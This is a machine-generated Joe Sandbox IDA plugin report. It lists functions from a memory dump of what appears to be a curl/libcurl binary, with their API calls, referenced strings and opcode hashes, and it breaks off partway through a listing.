Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: %*s$%s%luUL);$%s(long)%s%s$curl_easy_setopt(hnd, %s,
API String ID: 39653677-843713100
Opcode ID: 45d0553144455f98c400915c299cb8d5bb2a5bbf55dc613335a658da048ae40c
Instruction ID: 44dcd04a8283667edf90a3677639d98b22e0807753d5c96f5660630f4fd0c6cf
Opcode Fuzzy Hash: 45d0553144455f98c400915c299cb8d5bb2a5bbf55dc613335a658da048ae40c
Instruction Fuzzy Hash: 8111D276B413126BEA201612DD52FBB769BDF91F49F08042CFD446B205EB31DC0086B2

Function 00DCFA00 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 95stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DCFAA5

Strings

curl_easy_setopt(hnd, %s, , xrefs: 00DCFA45
%*s, xrefs: 00DCFAB3
%s%ldL);, xrefs: 00DCFAD2
%s(long)%s%s, xrefs: 00DCFA8A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID: %*s$%s%ldL);$%s(long)%s%s$curl_easy_setopt(hnd, %s,
API String ID: 39653677-3167448197
Opcode ID: 34053db5ca4c0539539bd700a579ca9c4c670ad7d426e8b1c20ec39e8b127d80
Instruction ID: 74dd4db0a0297a38b2d966f2e1bc59570689fea0c8a35323ed22dfb8edae24da
Opcode Fuzzy Hash: 34053db5ca4c0539539bd700a579ca9c4c670ad7d426e8b1c20ec39e8b127d80
Instruction Fuzzy Hash: A711D276B413116BEA2457129D42FBBB79ADF91F4CF09002CFD48A7201E621DC1086B2

Function 00DCE8C0 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

realloc.MSVCRT ref: 00DCE8F3
fread.MSVCRT ref: 00DCE90F
realloc.MSVCRT ref: 00DCE938
free.MSVCRT ref: 00DCE949
free.MSVCRT ref: 00DCE966

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: freerealloc$fread
String ID:
API String ID: 913911637-0
Opcode ID: 549b6971a846cb3e81ee0ce978e0021001d6b95e3209e8623850afe899ca3203
Instruction ID: c5a9aecd86fac2419518e03b29fb94e1c07c6cd3b85c960dfaf7316891a82f43
Opcode Fuzzy Hash: 549b6971a846cb3e81ee0ce978e0021001d6b95e3209e8623850afe899ca3203
Instruction Fuzzy Hash: 5B11E1E7A0421347EBA19BA49C80F27A39D8BE0294F1A053EEDA9D3201F971DC0486B1

Function 00DF1460 Relevance: 7.6, APIs: 6, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DF147F
strlen.MSVCRT ref: 00DF1491
strlen.MSVCRT ref: 00DF14AE
strlen.MSVCRT ref: 00DF14C0
strlen.MSVCRT ref: 00DF14DD
strlen.MSVCRT ref: 00DF14EF

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: a71bbcaca3df796b5cc798ee14f8b75764bd8a5a3c99f346f9411258e134d78b
Instruction ID: 233423ebf61cbaa6dc84ae91e1c7dfc34fd784667b89aff9701c9a1669953733
Opcode Fuzzy Hash: a71bbcaca3df796b5cc798ee14f8b75764bd8a5a3c99f346f9411258e134d78b
Instruction Fuzzy Hash: 5D1157F6A401169BEF20DA79D8C4B6A72DC9BA8750F0E8430ED49DB354E634DC1087B1

Function 00DC638F Relevance: 7.6, APIs: 5, Instructions: 68stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DC6895
free.MSVCRT ref: 00DC68B0
_strdup.MSVCRT ref: 00DC68C2
free.MSVCRT ref: 00DC6CEA
_strdup.MSVCRT ref: 00DC6CFC

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree$strchr
String ID:
API String ID: 1739957132-0
Opcode ID: 61b1699c62b800e7ff8071e69d398376b60fb2ff0890c6ea5d28814f2d4a9147
Instruction ID: 39b1a5726021a374695ba1b2a0270879e06973af32188c2200b93054dd51dc06
Opcode Fuzzy Hash: 61b1699c62b800e7ff8071e69d398376b60fb2ff0890c6ea5d28814f2d4a9147
Instruction Fuzzy Hash: 2C218EF0A046439FDB11DF24D940F59B7E5ABA0310F18053DE88597290DB31ED51DBA2

Function 010476C0 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 010476F9
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00DC14B2), ref: 0104770A
GetCurrentThreadId.KERNEL32 ref: 01047712
GetTickCount.KERNEL32 ref: 0104771A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00DC14B2), ref: 01047729

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 78cec82824798061cbf984c971faddd652d63384da06d6b4b9f81c6f052f6c6e
Instruction ID: 6aea9200389856ff1856cbda7b10fd2534bbd10b7799206de7550bbe97348c27
Opcode Fuzzy Hash: 78cec82824798061cbf984c971faddd652d63384da06d6b4b9f81c6f052f6c6e
Instruction Fuzzy Hash: 84115EB55093008FC720EF79F58865BFBE1FB88254F154C39E484C6208EB36D988CBA2

Function 00DEC4F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 193networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00DEC5C9

Part of subcall function 00DDB510: Sleep.KERNEL32(?), ref: 00DDB553

WSAGetLastError.WS2_32 ref: 00DEC70C

Strings

select/poll on SSL socket, errno: %d, xrefs: 00DEC713
schannel: timed out sending data (bytes sent: %zd), xrefs: 00DEC6FD, 00DEC729

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLastSleepmemcpy
String ID: schannel: timed out sending data (bytes sent: %zd)$select/poll on SSL socket, errno: %d
API String ID: 2868755610-3891197721
Opcode ID: bd005ae2f73582b648a78b7d152af42dd9f6623e61f4bb24c84d9563c0588297
Instruction ID: cebf059f4f41782f901b0113b3db3abd4c15d2eb969e20f39762ae64423933b8
Opcode Fuzzy Hash: bd005ae2f73582b648a78b7d152af42dd9f6623e61f4bb24c84d9563c0588297
Instruction Fuzzy Hash: 05617AB02083409FD710EF1AC884B2ABBE5FB84318F18556CF9998B3A1D775E915CB62

Function 00DD1F50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DD1F64
strtoul.MSVCRT ref: 00DD2002

Strings

%, xrefs: 00DD1FA8
, xrefs: 00DD2027

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlenstrtoul
String ID: $%
API String ID: 4005410869-2111875603
Opcode ID: 4418bd0d2ea33448d0efc252cf49b4e71a957b84fb8c04817684a3070ceeeff1
Instruction ID: 6c5c8ede9da9799d3c806f0be00da4d0f1a979fea4492124e16065bfe8e7b1e6
Opcode Fuzzy Hash: 4418bd0d2ea33448d0efc252cf49b4e71a957b84fb8c04817684a3070ceeeff1
Instruction Fuzzy Hash: 153126B69083406FD7219B64D440B7BBBEA9FA4340F08842FF8D987352E639E904C772

Function 00DF7590 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88networkCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00DF75EF
recv.WS2_32(?,?,?,00000000), ref: 00DF764D
WSAGetLastError.WS2_32 ref: 00DF7660

Strings

Recv failure: %s, xrefs: 00DF7688

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLastmemcpyrecv
String ID: Recv failure: %s
API String ID: 770192775-4276829032
Opcode ID: b5cd55b015045d215ea47ee878aa13bbbd52336fd1f52103892835a6b36a21b7
Instruction ID: 0462c8be2a545adfe512c1c383a544075c22471cabaa5ce33902dbbc3e6223a0
Opcode Fuzzy Hash: b5cd55b015045d215ea47ee878aa13bbbd52336fd1f52103892835a6b36a21b7
Instruction Fuzzy Hash: 5F316E757056099FE7608F68D880B9AB7E5FF88328F198628F95897340D332ED508BA1

Function 00DC97F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00DC9883
fwrite.MSVCRT ref: 00DC98D7
free.MSVCRT ref: 00DC98E5

Strings

1.2.11, xrefs: 00DC986A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: freefwritemalloc
String ID: 1.2.11
API String ID: 3327534052-4284987526
Opcode ID: 74e745ae315213d9bed7007ddc9b3d9d63054e7d8e4dc50be8abb60de7b0bde3
Instruction ID: 5a04622698e2c600cc8d1a8ea067c6d4e7e93fffec2b4e0faf35767dbfd17ff0
Opcode Fuzzy Hash: 74e745ae315213d9bed7007ddc9b3d9d63054e7d8e4dc50be8abb60de7b0bde3
Instruction Fuzzy Hash: 962154F19043026BE710AF11DD59B4BBAD8AFA175CF04491CF9D85B281E7B685488BE3

Function 00DD0530 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DD053C
malloc.MSVCRT ref: 00DD055C

Strings

\%03o, xrefs: 00DD05EB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: mallocstrlen
String ID: \%03o
API String ID: 770973918-2703259314
Opcode ID: 22bb2f25ffd8ab7464b912debd91d3615f3f8f2cf369bc5c920849a0a981eab8
Instruction ID: 0ff6d59334309f30ac147aa552e4b35cf0de7006780db3b361cb3e12fd8e776e
Opcode Fuzzy Hash: 22bb2f25ffd8ab7464b912debd91d3615f3f8f2cf369bc5c920849a0a981eab8
Instruction Fuzzy Hash: 23210A50504288ABEB104E64BC9179F3E989F95318F18D32BEC854A391F375D608CBB7

Function 00DC647F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00DC6488
free.MSVCRT ref: 00DC6A18
_strdup.MSVCRT(?), ref: 00DC6A36

Strings

;auto, xrefs: 00DC647F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfreestrstr
String ID: ;auto
API String ID: 408984727-1462600812
Opcode ID: 17f890907fdeb4d3576a12ad0ed68d28c3037589db531a01a77c3ff972f4ab5d
Instruction ID: 5d0917bf47f69144d134bb2cd3e9b0d914049efc8f382f54a67b3a3cada8b6c7
Opcode Fuzzy Hash: 17f890907fdeb4d3576a12ad0ed68d28c3037589db531a01a77c3ff972f4ab5d
Instruction Fuzzy Hash: 701191B06042428FDB01DF28C844F9A77E5BF50348F18457DE8969F2A1DB36DD52DBA2

Function 00DC7745 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DC774F
fopen.MSVCRT ref: 00DC7768
fclose.MSVCRT ref: 00DC7783

Strings

Failed to open %s!, xrefs: 00DC8C29

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fclosefopenstrcmp
String ID: Failed to open %s!
API String ID: 3326340520-3671342594
Opcode ID: e283baccda2063cf90a03589d8a8d8667b518014018c80b5d7781410cd584224
Instruction ID: 3cbebc321d9b45618b29408c1cf58e6a3c331a8b7f8adcefad4fc4e7092d4d0c
Opcode Fuzzy Hash: e283baccda2063cf90a03589d8a8d8667b518014018c80b5d7781410cd584224
Instruction Fuzzy Hash: 4211E3B1A04202AFCB11DF54E945F9A73B1BB54305F18062CF88697291D732ED90D7B2

Function 00DD50D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 00DD513A
setsockopt.WS2_32(?,0000FFFF,00001001,00004020,00000004), ref: 00DD515F

Part of subcall function 00DE18C0: memset.MSVCRT ref: 00DE1909
Part of subcall function 00DE18C0: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 00DE193C
Part of subcall function 00DE18C0: VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 00DE1943
Part of subcall function 00DE18C0: VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 00DE194D
Part of subcall function 00DE18C0: VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00DE1954
Part of subcall function 00DE18C0: VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00DE1960
Part of subcall function 00DE18C0: VerifyVersionInfoA.KERNEL32(?,00000033,00000000), ref: 00DE196D

Strings

@, xrefs: 00DD5144
@, xrefs: 00DD50D4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersiongetsockoptmemsetsetsockopt
String ID: @$ @
API String ID: 1669800062-1089145642
Opcode ID: 12eb6a5d06276845bef2712f9f3a41ea50d63a8c840a29b8f9f985660bf5bfcb
Instruction ID: 69a8d39ba7e9138267f97142c66ebce078acd51165a6566e368f909033722bf7
Opcode Fuzzy Hash: 12eb6a5d06276845bef2712f9f3a41ea50d63a8c840a29b8f9f985660bf5bfcb
Instruction Fuzzy Hash: D10184B0214302BBF7305A10FD4ABA77799AF40B44F044029FB849A2C8E3F58884C766

Function 00DD5070 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00DD508E
WSAGetLastError.WS2_32(?,00000004), ref: 00DD50A8

Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7002
Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7039

Strings

Could not set TCP_NODELAY: %s, xrefs: 00DD50B9
TCP_NODELAY set, xrefs: 00DD5098

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$ErrorLastsetsockopt
String ID: Could not set TCP_NODELAY: %s$TCP_NODELAY set
API String ID: 1030407954-1562148346
Opcode ID: 62682062829f89f33cc1a86d6b60dd4fa91fda6dbfe8bf48d643bbaf4e1b9f54
Instruction ID: 8aba00d9cb630a06e7abd91565adecfefcd5e93c18d924f7d8602978918512a8
Opcode Fuzzy Hash: 62682062829f89f33cc1a86d6b60dd4fa91fda6dbfe8bf48d643bbaf4e1b9f54
Instruction Fuzzy Hash: D0F082F5A402017BD1206A21BC06E6B765CEF55711F040028FA45A6345E6A2A55486B2

Function 00DC9440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

puts.MSVCRT ref: 00DC9446
printf.MSVCRT ref: 00DC9471

Strings

